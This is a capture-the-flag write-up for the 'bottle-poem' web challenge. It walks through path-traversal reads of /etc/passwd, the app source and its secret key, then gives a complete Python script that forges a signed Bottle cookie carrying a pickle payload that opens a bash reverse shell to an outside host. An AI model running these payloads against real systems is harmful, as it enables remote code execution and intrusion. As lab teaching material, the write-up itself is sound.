bottle-poem - web

LFI here :

http://bottle-poem.ctf.sekai.team/show?id=../../etc/passwd

While enumerating we can see that this web app is a python one. (confirmed here http://bottle-poem.ctf.sekai.team/show?id=../../proc/self/cmdline) So we can try to get :

http://bottle-poem.ctf.sekai.team/show?id=../app.py

response :

No!!!!

To bypass this filter i tried:

http://bottle-poem.ctf.sekai.team/show?id=.././app.py

Like so we got the source of the app

requesting http://bottle-poem.ctf.sekai.team/show?id=/app/app.py also works because of:

requested_path = os.path.join(os.getcwd() + "/poems", param)

If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.

app.py

from config.secret import sekai
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

There is not to much to exploit here as first seen, after tryed to find some ssti bypass or smth similar i decide to dig in bottle code and search for cookie issues. The bottle version used on this challenge can be retrieved here http://bottle-poem.ctf.sekai.team/show?id=/usr/local/lib/python3.8/site-packages/bottle.py

Then i checked on github the code of the proper version and spot a deserialisation on the cookie_decode() function:

pickle.loads(base64.b64decode(msg))

The code from github was 0.13-dev and the one from the challenge was 0.12.23. between those two versions they changed the way the cookie were signed. On the previous on (0.12.23) md5 was used.

I struggled lot of time to figured that, then i tryed to sign my malicious object with the secret that we got before with our LFI :

/show?id=/app/config/secret.py

Here is the exploit code to sign our malicious cookie


import os
import re
import hashlib, hmac, base64, pickle

sekai="Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
unicode = str

cmd  = "bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/4444 <&1'"

class Exploit(object):
    def __reduce__(self):
        return (os.system, (cmd,))

def tob(s, enc='utf8'):
    if isinstance(s, unicode):
        return s.encode(enc)
    return b'' if s is None else bytes(s)
    
def touni(s, enc='utf8', err='strict'):
    if isinstance(s, bytes):
        return s.decode(enc, err)
    return unicode("" if s is None else s)

def build_exploit():
    digestmod = hashlib.md5
    encoded = base64.b64encode(pickle.dumps(Exploit()))
    sig = base64.b64encode(hmac.new(tob(sekai), encoded, digestmod=digestmod).digest())
    value = touni(tob('!') + sig + tob('?') + encoded)
    return value

cookie = build_exploit()
print(cookie)

Then we can pass this cookie to the website on /sign endpoint and get our reverse shell.

Not we can execute /flag binary in order to retriever the flag

SEKAI{W3lcome_To_Our_Bottle}

I found out that the vulnerability were already found but wasn’t well documented in the bottle documentation: https://www.balda.ch/posts/2013/Jun/23/python-web-frameworks-pickle/